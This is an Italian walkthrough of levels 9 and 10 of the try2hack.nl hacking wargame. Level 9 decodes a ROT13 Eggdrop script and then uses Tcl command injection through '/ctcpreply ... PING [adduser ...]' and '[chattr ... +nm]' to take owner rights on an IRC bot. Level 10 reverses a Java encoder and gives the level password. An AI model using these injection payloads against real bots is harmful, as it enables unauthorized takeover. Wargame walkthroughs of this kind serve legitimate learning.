Non ci sono dubbi: è linguaggio binario. Utilizzando un programma come www.nickciske.com/binary/index.php, la stringa si traduce in Nice job. Now type '/msg TRY2HACK showbug' to see the . Seguendo le istruzioni il bot risponde

ovaq pgpe - CVAT pgpe:cvatercyl
cebp pgpe:cvatercyl {avpx hubfg unaq qrfg xrl net} {
frg qhe [rkce [havkgvzr] - $net]
chgfrei "ABGVPR $avpx :Lbhe cvat ercyl gbbx $qhe frpbaqf"}

Bisogna nuovamente decodare. La chiave è la stessa del primo messaggio, dunque:

BIND CTCR - PING CTCR:PINGREPLY
PROC CTCR:PINGREPLY {NICK UHOST HAND DEST KEY ARG} {
SET DUR [EXPR [UNIXTIME] - $ARG]
PUTSERV "NOTICE $NICK :--YOUR PING REPLAY TOOK $DUR SECONDS"}


Questo script è scritto in TLC; indica che l'eggdrop esegue i comandi che gli arrivano in risposta ad un ping. Per riuscire a sfruttare questo bug bisogna simulare la risposta a un ping del bot attraverso il comando /ctcpreply e usarlo per inserire il proprio nick fra gli user del bot (per potervicisi loggare in seguito): il comando è

/ctcpreply nomebot PING [adduser nick host]

Per far funzionare il comando bisogna inserire il nome del bot (che cambia a intervalli regolari), il proprio nick e il proprio host compreso di ident. Ad esempio l'utente pippo userebbe il comando /ctcpreply LEVEL9-777 PING [adduser pippo *!pippo@ppp*]

Le versioni di mIRC che seguono la 5.51 hanno una protezione che impedisce di floodare attraverso il comando ctcpreply. Questo implica che usando una versione successiva non è possibile far giungere al bot l'intero comando. Per ovviare al problema basta scaricare una versione precedente alla 5.51 da www.mircx.com/download.html. Quando il comando va a buon fine il bot risponde con un notice "your ping reply took $dur seconds".

Per finire il livello bisogna guadagnare il titolo di owner sul bot. Per farlo bisogna usare il comando chattr nick +nm attraverso il ctcpreply. Ad esempio l'utente pippo userebbe il comando /ctcpreply LEVEL9-777 PING [chattr pippo +nm]

Per potersi loggare sul bot bisogna avere un account completo, quindi una password, che va settata con /msg nomebot pass password. Ad esempio l'utente pippo userebbe il comando /msg LEVEL9-777 pass fenomeno

E' il momento di loggarsi tramite DCC con il comando /dcc chat nomebot. Ad esempio l'utente pippo userebbe il comando /dcc chat LEVEL9-777

Dopo essersi loggati basta inserire la password e come per magia il bot risponde:

<level9-777>Connected to LEVEL9-00, running on Linux 2.4.18.
<level9-777> 
<level9-777>Local time is now 14:37
<level9-777>NOT! Welcome in LEVEL9-779, pippo!
<level9-777>******************************************************
<level9-777>*                   AUTO LOG OUT!                    *
<level9-777>******************************************************
<level9-777>-=- poof -=-
<level9-777>You've been booted from the bot by LEVEL9-00.

<level9-777>pippo finished level 9!

Attenzione! Durante il mese di agosto è stato aggiunto un nuovo livello! Attualmente il bot risponde alla risoluzione del livello 9 con queste due righe aggiuntive:
-LEVEL9-777- Go to http://www.try2hack.nl/the_l_e_v_e_l_10.php for level 10 :)
-LEVEL9-777- As you finished this level you will now be ignored.

^Indice dei Contenuti^


Livello 10

Prerequisiti

Si è già parlato di Java al livello 4. Per la soluzione di questo livello non è necessario sapere niente di più, ma se si è in grado di compilare un file con javac il compito sarà sicuramente più semplice.

Per istallare il compilatore Java basta scaricare l'ultimo J2SE disponibile su java.sun.com e istallarlo. Dopodichè basterà inserire nel file autoexec.bat il comando PATH relativo alla cartella di lavoro dei programmi dei J2SE. Ad esempio PATH c:\j2se1.4.0_01\bin. Per poter continuare ad usare il prompt di DOS abitualmente, la stringa che ho inserito è PATH c:\windows;c:\windows\command;c:\j2se1.4.0_01\bin
Non venitemi a chiedere come istallarlo su sistemi diversi da "MS Windows98" perchè non lo so e non avrò mai bisogno di saperlo (eccezion fatta per Linux, del quale parlerò se e quando sarò capace).
Una volta istallato il J2SE, per compilare un programma in Java basta portarsi nella cartella del file che contiene il codice sorgente del programma e usare il comando javac nomefile.java (l'estensione del file deve essere per forza .java, in caso contrario il compilatore restituirà un errore).

La classe StringTokenizer non è fra quelle presentate dal manuale consigliato poc'anzi (si intende nel livello 4); per conoscerne il funzionamento basta leggere la reference relativa al costruttore che viene utilizzato all'interno del programma in questione (su java.sun.com c'è un pratico motore di ricerca)...
java.sun.com/...#StringTokenizer(java.lang.String,%20java.lang.String,%20boolean).

Suggerimento

C'è poco da suggerire, tutte le istruzioni sono autoesplicative.
In ogni caso, imparare Java non fa affatto male. Questo è un buon suggerimento.

Soluzione

Copiando il programma Java in un file di testo di nome Level10.java (il nome non può essere diverso, perchè deve essere uguale a quello specificato della classe principale, quella che chiama main(); Java è case sensitive) si riesce a compilare senza problemi; eseguendo il programma (che lavora sulla stringa "String") il risultato è
.6x#5.2x#3.5x#4.4x#2.2x#1.25x#0.9x#

Analizzando il codice: la classe Letter è il fulcro del programma. Per ogni lettera della stringa str, inserisce la sua posizione all'interno della stringa x, nell'array b[]. In seguito ogni "posto" vuoto di b[] viene riempito con un carattere "#". Tali caratteri vengono poi "raccolti a fattor comune" dalla funzione cut().

Per capire meglio il funzionamento del programma si possono inserire dei comandi System.out.println(). Ad esempio inserendo System.out.println(rot); prima di return rot; e compilando il nuovo file, si può notare che prima della chiamata alla funzione cut() la stringa risulta essere
######5##3#####4####2##1#########################0#########

Risulta evidente che ".nx#" indica il numero n di "#" tra un carattere e l'altro. Mettiamo a confronto

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#
######5##3#####4####2##1#########################0#########
Ci sono sei caratteri in più. Infatti ogni volta che viene scritta una cifra viene anche aggiunto un "#". Togliendo un "#" dopo ogni cifra:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#
######5#3####4###2#1########################0########

Si tenga presente che gli array sono indicizzati a partire da 0, quindi la posizione di un componente è sempre uguale al suo indice più 1. Il settimo carattere, "g", è la sesta (5+1) lettera della parola iniziale; il decimo carattere, "i", è la quarta lettera (3+1) della parola iniziale e così via fino ad "S", che è la prima lettera. La parola "String" è stata ricomposta.

Le istruzioni chiedono di trovare l'input che genera questo risultato:
.3x#7.5x#6.6x#3.5x#9#4.2x#1.7x#5.5x#8.6x#0.10x#2.3x#. Il quale corrisponde a:
###7#####6######3#####9#4##1#######5#####8######0##########2###

Con lo stesso procedimento di prima, confrontiamo

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#
###7#####6######3#####9#4##1#######5#####8######0##########2###
La soluzione è formata da 9 caratteri. Togliendo i "#" in eccesso:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#
###7####6#####3####94#1######5####8#####0#########2##

La soluzione è: OwYouDidIt

Attualmente la risposta è Please check back with us to see when level 11 is ready, you will have to keep the password in order to come to this page again... li prendiamo in parola.

^Indice dei Contenuti^


(c)IB
2002
*
0
1
2
3
4
5
6
7
8
9
10


© Iron Bishop 2002